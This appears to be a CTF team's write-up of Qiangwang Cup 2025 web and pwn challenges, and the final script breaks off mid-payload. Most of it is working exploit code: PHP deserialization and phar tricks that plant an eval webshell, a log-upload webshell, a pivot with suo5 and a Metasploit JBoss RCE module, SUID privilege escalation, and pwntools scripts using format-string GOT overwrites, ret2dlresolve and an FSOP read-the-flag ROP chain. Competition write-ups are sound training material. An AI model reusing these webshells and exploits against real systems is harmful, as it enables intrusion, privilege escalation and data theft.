强网杯2025 By W&M
Web
SecretVault
梳理一下每个功能都做了啥:
- 启动:新建用户admin,uid为0。新建flag这个VaultEntry,user_id是admin的id。VaultEntry采用Fernet加密存到库中
- 注册:把user的密码哈希和盐存到数据库里
- 登录:比对密码哈希,如果对上了,则访问内网sign服务,参数为uid,生成一个token。但是这个token是给go鉴权的,go验完之后就用不上了,而给python鉴权的是X-User这个头
- dashboard:展示所有与当前user关联的VaultEntry
思路:
- 看看能不能绕过反向代理,直接从外面访问/sign,生成uid为0的token。看解出速度挺快的,估计就是这样,不会太复杂
- 访问python服务的时候想办法把X-User: 0带进去
原理是这样
https://blog.csdn.net/2404_88048702/article/details/142996006
如果带一个Connection: close, X-User,
那么后续 req.Header.Set("X-User", "anonymous") 设置的X-User就不会被转发了
ezphp
查看phpinfo
?land=O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}
disable_functions
call_user_func_array,call_user_func,create_function,ob_start,passthru,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,
这样能触发文件上传
O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:4:"test";s:3:"key";s:5:"class";}
现在看怎么触发匿名类的readflag的readflag。参考链接:https://www.leavesongs.com/PENETRATION/php-challenge-2023-oct.html
测试代码如下,直接写在解码后的文件里面。
$test = "%00readflag/var/www/html/index.php:61$1";
$test=urldecode($test);
$test();
然后在readflag的readflag里面加一个输出,测试是否被调用到:
按照p牛的文章打断点
key的值对上了
成功调用内层函数
注意后续的函数名由于计数器会变化,所以打完一次之后就要手动修改函数名,或者重启一次服务,否则就报错:Uncaught Error: Call to undefined function ()
还有一个注意点,就是题目的代码是包裹在eval里面运行的,包裹在eval里的代码有一个单独的文件名:
/var/www/html/index.php(1) : eval()\'d code
所以要调用函数实际上要这样调用:
\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1
现在考虑如何绕过include的过滤
尝试竞争
我本地的服务器计数器每打一次+2
题目远程的计数器是这样变的: 1 1 3 3 5 5 7 7...搞不懂
import requests, io, time, threading
url = 'http://192.168.109.128:5555/'
def wrap_in_arr(sers: list):
return 'a:' + str(len(sers)) + ':{' + ''.join(
[f'i:{i};{sers[i]}' for i in range(len(sers))]
) + '}'
tick = -1
def task(payload, lock):
global tick
ser1 = 'O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:4:"test";s:3:"key";s:5:"class";}'
ser2 = 'O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:%s:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$%s";s:3:"key";s:4:"func";}'
while True:
with lock:
tick += 2
t = hex(tick)[2:]
base_len = 54
print(f'[+] Tick: {t}')
wrap_in_arred = wrap_in_arr([ser1, ser2 % (base_len + len(t), t)])
res = requests.post(url,
files={'file': ('1.txt', io.BytesIO(payload.encode()))},
params={'land':wrap_in_arred})
print(res.text)
def check():
while True:
time.sleep(5)
res = requests.get(url + 'shell.php', params={'1':'phpinfo();'})
if 'PHP Version' in res.text:
print('[+] Shell is uploaded!')
print(res.text)
break
# 创建锁
lock = threading.Lock()
# 两种payload
payloads = ["helloworld", "<?php file_put_contents('/var/www/html/shell.php', '<?php eval($_GET[1]);');"] # 请替换为实际的payload
threads = []
for j in range(2):
for i, payload in enumerate(payloads):
t = threading.Thread(target=task, args=(payload, lock), name=f"Thread-{i+1}")
threads.append(t)
t.start()
# 等待所有线程完成(实际可能需要通过其他方式控制终止)
for t in threads:
t.join()
竞争不出来
最后一个思路
爆破一个种子
然后让随机文件名包含.phar这个字符串(https://fushuling.com/index.php/2025/07/30/%E5%BD%93include%E9%82%82%E9%80%85phar-deadsecctf2025-baby-web/)
爆种脚本
需要安装parallel模块:https://pecl.php.net/package/parallel/1.1.4/windows
parallel.dll 放在 ext目录
PthreadVC2.dll放在php.exe同级目录
<?php
use parallel\Runtime;
use parallel\Channel;
// 定义生成随机字符串的函数(将在每个线程中运行)
$generateRandomString = function ($seed, $length = 8) {
mt_srand($seed);
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = mt_rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
};
// 检查 HHMM 是否为有效时间
function is_valid_time($hhmm) {
$hh = (int)substr($hhmm, 0, 2);
$mm = (int)substr($hhmm, 2, 2);
return $hh >= 0 && $hh <= 23 && $mm >= 0 && $mm <= 59;
}
// 主程序
$num_threads = 50; // 线程数
$hhmm_values = range(0, 2359);
$hhmm_values = array_filter($hhmm_values, function ($hhmm) {
return is_valid_time(sprintf("%04d", $hhmm));
});
$hhmm_values = array_map(function ($hhmm) {
return sprintf("%04d", $hhmm);
}, $hhmm_values);
$total_hhmm = count($hhmm_values);
$hhmm_per_thread = ceil($total_hhmm / $num_threads); // 每个线程处理的 HHMM 数量
$runtimes = [];
$futures = [];
$channel = Channel::make('results'); // 用于线程间通信
// 线程任务函数
$task = function ($hhmm, $channel) use ($generateRandomString) {
if((int)substr("$hhmm", 0, 2) > 17 ||
(int)substr("$hhmm", 0, 2) < 11){
return;
}
for ($suffix = 0; $suffix <= 99999999; $suffix++) {
$seed = (int)($hhmm . $suffix);
$result = $generateRandomString($seed);
if (substr($result, 0, 4) === 'phar') {
echo "[+]bingo: $seed \n";
$channel->send($seed); // 发送找到的种子
break;
}
}
};
// 创建并运行线程
for ($i = 0; $i < $num_threads; $i++) {
$start_idx = $i * $hhmm_per_thread;
$end_idx = min(($i + 1) * $hhmm_per_thread - 1, $total_hhmm - 1);
echo "$start_idx, $end_idx\n";
if ($start_idx >= $total_hhmm) {
break;
}
$runtime = new Runtime();
$runtimes[] = $runtime;
for ($j = $start_idx; $j <= $end_idx && is_valid_time($j); $j++) {
if(isset($hhmm_values[$j])){
$hhmm = $hhmm_values[$j];
// 为每个 HHMM 创建一个 Future
$futures[] = $runtime->run($task, [$hhmm, $channel]);
}
}
}
// 收集结果
$found_seeds = [];
while (count($found_seeds) < count($futures)) {
try {
$seed = $channel->recv();
if ($seed !== null) {
$found_seeds[] = $seed;
echo "Found valid seed: $seed\n";
}
} catch (Exception $e) {
break; // 通道关闭或无更多结果
}
}
// 关闭通道和运行时
$channel->close();
foreach ($runtimes as $runtime) {
$runtime->kill();
}
// 输出最终结果
if (!empty($found_seeds)) {
echo "Valid seeds found:\n";
foreach ($found_seeds as $seed) {
echo "$seed\n";
}
} else {
echo "No valid seed found.\n";
}
?>
注意爆出来的种子的前4个数字表示时间和分钟,只有在这1分钟内,这个种子才能用,不然就要换种子
genphar.php
<?php
# php -d phar.readonly=0 genphar.php
@unlink("payload.phar");
@unlink("payload.phar.gz");
$phar = new Phar("payload.phar");
$phar["index.php"] = '<?php file_put_contents("/var/www/html/shell.php", \'<?php eval($_GET[1]);\');';
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->compress(Phar::GZ);
$phar->setStub('
<?php
;__HALT_COMPILER();
');
?>
最终exp
打一次如果不成功就要重启一次
import requests, io, time, threading
url = 'https://eci-2zeivhucjzijdd2ynfp6.cloudeci1.ichunqiu.com:80/'
def wrap_in_arr(sers: list):
return 'a:' + str(len(sers)) + ':{' + ''.join(
[f'i:{i};{sers[i]}' for i in range(len(sers))]
) + '}'
# 1132516815
filename = '516815'
ser1 = 'O:4:"test":3:{s:8:"readflag";s:%s:"%s";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' %(len(filename), filename)
ser2 = 'O:4:"test":3:{s:8:"readflag";s:%s:"%s";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'%(len(filename), filename)
wrap_in_arred = wrap_in_arr([ser1, ser2])
res = requests.post(url,
files={'file': ('1.txt', open('payload.phar.gz', 'rb'))},
params={'land':wrap_in_arred})
print(res.text)
打成功了访问shell
最后就是suid提权,看到base64,base64 /flag 就好了。(忘记截图了,懒得再开环境复现了)
bbjv
看题目意思就是使用SPEL表达式修改user.home属性
flag.txt不在/
在/tmp
Yamcs
ai说这配置文件可控就能R。
点点点发现直接能自定义。环境不出网抛错带回显
日志系统
源码
<?php
$queryString = $_SERVER['QUERY_STRING'] ?? '';
if (empty($queryString)) {
exit("未检测到任何 GET 参数。");
}
if (strpos($queryString, '%') !== false) {
exit("非法请求:GET 参数中不允许包含 '%' 字符。");
}
$params = explode('&', $queryString);
$expectedOrder = ['timestamp[year]', 'timestamp[month]', 'timestamp[day]'];
$foundKeys = [];
$duplicates = [];
$values = [];
foreach ($params as $param) {
$parts = explode('=', $param, 2);
$key = urldecode($parts[0]);
$value = isset($parts[1]) ? urldecode($parts[1]) : '';
if (preg_match('/^timestamp\[[a-zA-Z]+\]$/', $key)) {
if (in_array($key, $foundKeys)) {
$duplicates[] = $key;
} else {
$foundKeys[] = $key;
}
$values[$key] = $value;
}
}
$missing = array_diff($expectedOrder, $foundKeys);
$extra = array_diff($foundKeys, $expectedOrder);
if (!empty($duplicates)) {
exit("检测到重复的参数:" . implode(', ', array_unique($duplicates)));
}
if (!empty($missing)) {
exit("缺少参数:" . implode(', ', $missing));
}
if (!empty($extra)) {
exit("含有多余参数:" . implode(', ', $extra));
}
if ($foundKeys !== $expectedOrder) {
exit("参数顺序错误,应为:" . implode(' → ', $expectedOrder) . "。当前为:" . implode(', ', $foundKeys));
}
foreach ($expectedOrder as $k) {
if (!isset($values[$k]) || !ctype_digit($values[$k])) {
exit("参数 {$k} 必须为纯数字,当前为:" . ($values[$k] ?? '未提供'));
}
}
$content = $_POST['content'] ?? '';
if (trim($content) === '') {
exit("未检测到 POST 内容(content)。");
}
$dir = __DIR__ . '/upload';
if (!is_dir($dir)) mkdir($dir, 0777, true);
$year = $_GET['timestamp']['year'];
$month = $_GET['timestamp']['month'];
$day = $_GET['timestamp']['day'];
$filename = $dir."/".$year.$month.$day;
if (file_put_contents($filename, $content . PHP_EOL, FILE_APPEND | LOCK_EX) === false) {
exit("写入文件失败");
}
echo "日志保存成功";
?>
正则匹配缺陷+php宽容解析 上传webshell /upload/2025101.php
套娃
暂时无法在飞书文档外展示此内容
openjdk version "1.8.0_462"
(www-data:/var/www/html/upload) $ ./busybox netstat -at | grep LISTEN
tcp 0 0 0.0.0.0:8083 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:43321 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:4446 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:39071 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:33825 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:44419 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:44965 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:1098 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:rmiregistry 0.0.0.0:* LISTEN
tcp 0 0 :::http :::* LISTEN
start infoscan
localhost:80 open
localhost:1099 open
localhost:8083 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://localhost:8083 code:404 len:0 title:None
[*] WebTitle http://localhost code:200 len:1112 title:日志输入
已完成 3/3
[*] 扫描结束,耗时: 1.019857496s
不出网
2025-10-19 07:12:22,455 WARN [org.jboss.deployment.scanner.URLDeploymentScanner] Scan URL, caught java.io.FileNotFoundException: Not pointing to a directory, url: file:/opt/jboss-4.2.3.GA/server/default/deploy/
2025-10-19 07:12:27,455 WARN [org.jboss.deployment.scanner.URLDeploymentScanner] Scan URL, caught java.io.FileNotFoundException: Not pointing to a directory, url: file:/opt/jboss-4.2.3.GA/server/default/deploy/
jboss没有deploy文件夹 远程就没有
使用suo5内网代理,proxychains4 msfconsole -n
使用exploit/multi/misc/jboss_remoting_unified_invoker_rce进行命令执行。(只能打一次,第二次需要重启靶机jboss)
给自己建一个suid的bash,方便后续操作。
搜索120分钟内修改的文件找到flag。
flag路径:/etc/ibdcjdajij/ibdcjdajij/ibdcjdajij/ibdcjdajij/ibdcjdajij/fl444444g
PWN
flag-market
Bss上的溢出,可以修改到printf的字符串,从而达到格串
第一次用两次格串修改exit为main重启
同时泄露
第二次重启后改printf为system,即可
#!/usr/bin/env python3
from pwncli import *
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './chall')
if local_flag == "remote":
addr = '59.110.229.107 28694'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift, log_level='warn')
libc = load_libc()
cmd = '''
b *0x4014BC
c
'''
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'255')
ru(b'opened user.log, please report:')
payload = '%c' * 24 + f'%{0x404090 - 0x18}c%lln%{0xBF70}c%{0x139B}c%34$hn#%25$p#%24$p#'
sl(b'a' * 0x100 + payload.encode())
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'2')
ru(b'#0x')
libc_base = int(ru(b'#', drop=True), 16) - 0x2A1CA
set_current_libc_base_and_log(libc_base)
stack = int(ru(b'#', drop=True), 16)
leak_ex2(stack)
launch_gdb(cmd)
sla(b'2.exit', b'2')
ru(b'welcome to flag market!\n')
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'255')
ru(b'opened user.log, please report:')
payload = '%c' * 44 + f'%{0x40 - 0x2C}c%hhn%{(libc.sym.system & 0xFFFFFFFF) - 0x40}c%54$n'
payload = payload.encode()
sl(b'a' * 0x100 + payload)
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'2')
sla(b'2.exit', b'2')
ru(b'welcome to flag market!\n')
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'255')
ru(b'opened user.log, please report:')
sl(b'a' * 0x100 + b'/bin/sh\x00')
sla(b'2.exit', b'1')
sla(b'how much you want to pay?', b'2')
ia()
sockserver
首先是add函数只根据idx来决定能否add,dele中是直接--idx,就会让add覆盖到idx和ptr指针
然后伪造idx结构体,利用main的这处gadget实现任意写
在ptr+8伪造bss,然后dele ptr,让ptr变成bss
随后在bss上伪造linkmap,和修改gethostname的got为got[3]
图中dest可控,利用ret2dl将其改成system即可
#!/usr/bin/env python3
from pwncli import *
from typing import Iterable, Optional, Tuple
import threading
from queue import Queue
def make_connect_payload_ipv4(ip: str, port: int) -> bytes:
if not (0 <= port <= 65535):
raise ValueError("port out of range")
return b'\x05\x01\x00\x01' + socket.inet_aton(ip) + struct.pack('!H', port)
def make_connect_payload_domain(host: str, port: int) -> bytes:
host_bytes = host.encode('ascii')
if len(host_bytes) > 255:
raise ValueError("domain too long")
if not (0 <= port <= 65535):
raise ValueError("port out of range")
return b'\x05\x01\x00\x03' + bytes([len(host_bytes)]) + host_bytes + struct.pack('!H', port)
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
offset = system_base - solved_base
fake_Elf64_Dyn = b""
fake_Elf64_Dyn += p64(0) # d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) # d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
fake_Elf64_Rela = b""
fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,
# 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
fake_Elf64_Rela += p64(0) # r_addend 随意设置
fake_Elf64_Sym = b""
fake_Elf64_Sym += p32(0) # st_name 随意设置
fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
fake_Elf64_Sym += p64(got_solved_addr - 8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
fake_Elf64_Sym += p64(0) # st_size 随意设置
fake_link_map_data = b""
# 如果offset为负数使用补码
if offset < 0:
fake_link_map_data += p64(2**64 + offset) # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
else:
fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
fake_link_map_data += fake_Elf64_Dyn
fake_link_map_data += fake_Elf64_Rela
fake_link_map_data += fake_Elf64_Sym
fake_link_map_data += b'\x00' * 0x20
fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
fake_link_map_data += b"/bin/sh\x00"
fake_link_map_data += b'\x01' * 0x78
fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
return fake_link_map_data
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './sockserver')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
b *0x402552
# add
b *0x401EBB
# case 5
b *0x40280A
# delete
b *0x40192A
# exit
b *0x4017DE
ida
set $h = (void *)0x405140
set $i = (void *)0x405460
# dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
ip = '127.0.0.1'
port = 1080
addr = '39.106.45.147 22541'
ip, port = re.split(r'[\s:]+', addr)
def add(content):
p = remote(ip, port)
p.send(b'\x05\x01\x03')
p.recvuntil(b'\x05\x03')
p.recvuntil(b'\x05\x00')
p.send(content)
r = p.recv(2)
log_ex(f'res: {r}')
p.close()
if r != b'\x05\x00':
warn_ex('add failed')
return r
def delete(content):
p = remote(ip, port)
p.send(b'\x05\x01\x04')
p.recvuntil(b'\x05\x04')
p.recvuntil(b'\x05\x01')
p.send(content)
log_ex(f'res: {p.recv(2)}')
p.close()
start = time.perf_counter()
for i in range(0x64):
add(f'{i+1:03d}')
# num_threads = 0x8
# adds_per_thread = 0xC
# total_items = num_threads * adds_per_thread
# q = Queue()
# for i in range(1, total_items + 1):
# q.put(f"{i:03d}")
# def _add_worker():
# for _ in range(adds_per_thread):
# try:
# item = q.get_nowait()
# except Exception:
# break
# add(item)
# q.task_done()
# threads = [threading.Thread(target=_add_worker, daemon=True) for _ in range(num_threads)]
# for t in threads:
# t.start()
# q.join()
# for t in threads:
# t.join(timeout=5)
for i in range(2):
p = remote(ip, port)
p.send(b'\x05\x01\x04')
p.recvuntil(b'\x05\x04')
p.close()
p = remote(ip, port)
p.send(b'\x05\x01\x05')
p.recvuntil(b'\x05\x05')
p.recvuntil(b'\x05\x01')
p.send(b'001\x00')
p.send(make_connect_payload_ipv4('127.0.0.1', 8081))
p.close()
# add(flat([0, 0xA8, (0x405098 - 0x40547C) // 4, 0x401410 - 1]))
# add('200\x00')
add(flat([0, 0x63, (0x405008 - 0x40547C) // 4, 0x405900 - 1]))
add(flat([0, 0x63, (0x40500C - 0x40547C) // 4, 0 - 1]))
add(flat([0, 0x63, (0x405070 - 0x40547C) // 4, 0x401030 - 1]))
add(flat([0, 0x66, (0x405470 - 0x40547C) // 4, 0x405900 - 0x3C0 - 1]))
# add(b'inkey\x00')
delete(b'b\x00')
payload = get_ret2dl_data(0x405900, 0x405098, libc.sym.system, libc.sym.malloc)
add(payload)
launch_gdb(cmd)
p = remote(ip, port)
p.send(b'\x05\x01\x05')
p.recvuntil(b'\x05\x05')
p.recvuntil(b'\x05\x01')
p.send(b'001\x00')
p.send(b'\x05\x01\x00\x03' + p8(0x30) + b'cat /home/ctf/flag>/home/ctf/web/flag.html'.ljust(0x30, b'\x00') + p16(8081))
p.close()
# p = remote(ip, port)
# p.send(b'\x05\x01\x01')
# p.recvuntil(b'\x05\x01')
end = time.perf_counter()
print(f"耗时 {end - start:.6f} s")
# sleep(15)
# context.log_level = 'debug'
# add(b'001\x00')
# p.send(make_connect_payload_ipv4('127.0.0.1', 8081))
# p.recvuntil(b'\x05\x00')
# log_ex(f'res: {p.recv()}')
# payload = b"GET /flag.html HTTP/1.1\r\n" b"Host: 127.0.0.1:8081\r\n" b"Connection: close\r\n" b"User-Agent: exp/1.0\r\n" b"Accept: */*\r\n" b"\r\n"
# p.send(payload)
# log_ex(f'res: {p.recv(timeout=99999999)}')
# log_ex(f'res: {p.recv(timeout=99999999)}')
# p.interactive()
ia()
利用case 5,和后台的httpserver交互,拿到flag.html
#!/usr/bin/env python3
from pwncli import *
from typing import Iterable, Optional, Tuple
import threading
from queue import Queue
def make_connect_payload_ipv4(ip: str, port: int) -> bytes:
if not (0 <= port <= 65535):
raise ValueError("port out of range")
return b'\x05\x01\x00\x01' + socket.inet_aton(ip) + struct.pack('!H', port)
def make_connect_payload_domain(host: str, port: int) -> bytes:
host_bytes = host.encode('ascii')
if len(host_bytes) > 255:
raise ValueError("domain too long")
if not (0 <= port <= 65535):
raise ValueError("port out of range")
return b'\x05\x01\x00\x03' + bytes([len(host_bytes)]) + host_bytes + struct.pack('!H', port)
context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
gift.elf = ELF(elf_path := './sockserver')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()
cmd = '''
b *0x402275
# case 5
b *0x4018D8
ida
set $h = (void *)0x405140
set $i = (void *)0x405460
# dir /mnt/f/Documents/CTF/glibc/glibc-2.35
c
'''
ip = '127.0.0.1'
port = 1080
addr = '39.106.45.147 22541'
ip, port = re.split(r'[\s:]+', addr)
def add(content):
p = remote(ip, port)
p.send(b'\x05\x01\x03')
p.recvuntil(b'\x05\x03')
p.recvuntil(b'\x05\x00')
p.send(content)
r = p.recv(2)
log_ex(f'res: {r}')
p.close()
if r != b'\x05\x00':
warn_ex('add failed')
return r
launch_gdb(cmd)
add(b'001\x00')
p = remote(ip, port)
p.send(b'\x05\x01\x05')
p.recvuntil(b'\x05\x05')
p.recvuntil(b'\x05\x01')
p.send(b'001\x00')
p.recvuntil(b'\x05\x00')
p.send(make_connect_payload_ipv4('127.0.0.1', 8081))
p.recvuntil(b'\x05\x00')
payload = b"GET /flag.html HTTP/1.1\r\n" b"Host: 127.0.0.1:8081\r\n" b"Connection: close\r\n" b"User-Agent: exp/1.0\r\n" b"Accept: */*\r\n" b"\r\n"
p.send(payload)
# log_ex(f'res: {p.recv(timeout=99999999)}')
# log_ex(f'res: {p.recv(timeout=99999999)}')
p.interactive()
# ia()
Bph
当malloc的size非常大时就会分配失败,这个时候就可以利用下面这个地方任意偏移null,偏移为size
后面打法类似于r3ctf2023的null,改stdin来实现任意地址写
libc可以从前面token的栈那未初始化栈泄露
后面劫持_IO_2_1_stdout_打orw即可(rop写死我了)
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
from Crypto.Util.number import *
# p = process(["./ld-linux-x86-64.so.2", "./pwn"],
# env={"LD_PRELOAD":"./libc.so.6"})
# p = process(['./libc.so','./pwn'])
# p = process('./pwn')
p = remote("39.106.40.37", 36905)
# p=remote('chal.competitivecyber.club',5001)
# p = process(['qemu-mipsel','-g','1234','-L','/usr/mipsel-linux-gnu','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
# context.terminal = ['tmux','splitw','-h']
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
# context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-20.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-linux-x86-64.so.2')
def lg(buf):
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def menu(index):
p.recvuntil('Choice: ')
p.sendline(str(index))
def add(size, content=b'1'):
menu(1)
p.recvuntil('Size:')
p.sendline(str(size))
def search_IO_wfile_jumps_maybe_mmap():
global libc,libc_base
a = list(libc.search(p64(libc.symbols['_IO_wfile_overflow'])))
b = list(libc.search(p64(libc.symbols['_IO_file_close'])))
ans = []
result = 0
for i in a:
for j in b:
if abs(i - j) == 0x70 and i - 24 not in ans:
ans.append(i - 24)
log.success(f"{' '.join(map(lambda x: hex(x + libc_base), ans))} may be the address of _IO_wfile_jumps_maybe_mmap")
if (u64(libc.read(ans[0] + 0x20,0x8)) + libc_base) == (libc.symbols['_IO_wfile_underflow'] + libc_base):
result = ans[1]
else:
result = ans[0]
log.success(f'_IO_wfile_jumps_maybe_mmap:{result+libc_base:#x}')
return result + libc_base
def search_IO_file_jumps():
global libc,libc_base
IO_file_jumps = libc.symbols['_IO_file_jumps']
IO_str_underflow = libc.symbols['_IO_str_underflow']
IO_str_underflow_ptr = list(libc.search(p64(IO_str_underflow)))
IO_str_jumps = IO_str_underflow_ptr[bisect_left(IO_str_underflow_ptr, IO_file_jumps + 0x20)] - 0x20 + libc_base
log.success(f'IO_str_jumps:{IO_str_jumps:#x}')
return IO_str_jumps
p.recvuntil('Please input your token:')
p.send(b'a'*0x28)
p.recvuntil(b'a'*0x28)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 0xaddae
lg("libc_base")
# gdb.attach(p)
menu(1)
p.recvuntil('Size:')
p.sendline(str(libc_base+0x203918+1))
heap_base = libc_base + 0x246000
IO_str_jumps = search_IO_file_jumps()
_IO_default_xsgetn = IO_str_jumps + 0x40
_IO_default_xsputn = IO_str_jumps + 0x38
_IO_wfile_jumps_maybe_mmap=search_IO_wfile_jumps_maybe_mmap()
fake_file = flat({
0x0: 0x8000, # disable lock
0x38: libc_base + libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc_base + libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0x70: 0, # _fileno
0xa0: libc_base + libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xc0: p32(0xffffffff), # _mode < 0
0xd8: _IO_wfile_jumps_maybe_mmap - 0x18,
}, filler=b"\x00") + b'\x00'*0x500 + b'/flag\x00\x00\x00\x00'
old_value = libc_base + 0x203963
_IO_2_1_stderr_ = libc_base + libc.symbols['_IO_2_1_stderr_']
_IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_']
_IO_2_1_stdin_ = libc_base + libc.symbols['_IO_2_1_stdin_']
lg("_IO_2_1_stderr_")
lg("_IO_2_1_stdout_")
lg("_IO_2_1_stdin_")
payload = p64(old_value)*3 + p64(_IO_2_1_stdout_) + p64(_IO_2_1_stdout_+len(fake_file))
p.recvuntil('Content:')
p.send(b'0')
p.recvuntil('Choice:')
p.send(payload)
p.recvuntil('Choice:')
# pause(1)
p.send(fake_file)
pause(1)
p.send(flat({
0x8: libc_base+libc.symbols["_IO_2_1_stdout_"],
0x38: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),
0xd8: _IO_default_xsputn - 0x90, # vtable
0x28: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8, # _IO_write_ptr
0x30: libc_base+libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xe0: {
0xe0: _IO_wfile_jumps_maybe_mmap
}
}, filler=b"\x00"))
flag = 0x204ba0 + libc_base
pop_rdi_ret = libc_base + 0x000000000010f78b
pop_rsi_ret = libc_base + 0x0000000000110a7d
pop_rbx_ret = libc_base + 0x00000000000586e4
mov_rdx_rbx_pop_3_ret = libc_base + 0x00000000000b0133
pop_rax_ret = libc_base + 0x00000000000dd237
syscall_ret = libc_base + 0x0000000000098fb6
pop_rcx_ret = libc_base + 0x00000000000a877e
pause(1)
p.send(flat({
0: pop_rax_ret,
0x8: 257,
0x10: pop_rdi_ret,
0x18: 0xFFFFFFFFFFFFFF00,
0x20: pop_rsi_ret,
0x28: flag,
0x30: pop_rbx_ret,
0x38: 0,
0x40: mov_rdx_rbx_pop_3_ret,
0x48: 0,
0x50: 0,
0x58: 0,
0x60: pop_rcx_ret,
0x68: 0,
0x70: syscall_ret,
0x78: pop_rax_ret,
0x80: 0,
0x88: pop_rdi_ret,
0x90: 3,
0x98: pop_rsi_ret,
0xa0: flag + 0x10,
0xa8: pop_rbx_ret,
0xb0: 0x30,
0xb8: mov_rdx_rbx_pop_3_ret,
0xc0: 0,
0xc8: 0,
0xd0: 0,
0xd8: syscall_ret,
0xe0: pop_rax_ret,
0xe8: 1,
0xf0: pop_rdi_ret,
0xf8: 1,
0x1c8-0xc8: {
0x0: syscall_ret,
0x38: libc_base+libc.symbols["_IO_2_1_stdout_"] - 0x1c8 + 0xc8, # _IO_buf_base
0x40: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0x1c8, # _IO_buf_end
0xa0: libc_base+libc.symbols["_IO_2_1_stdout_"] + 0xe0,
0xc0: p32(0xffffffff),
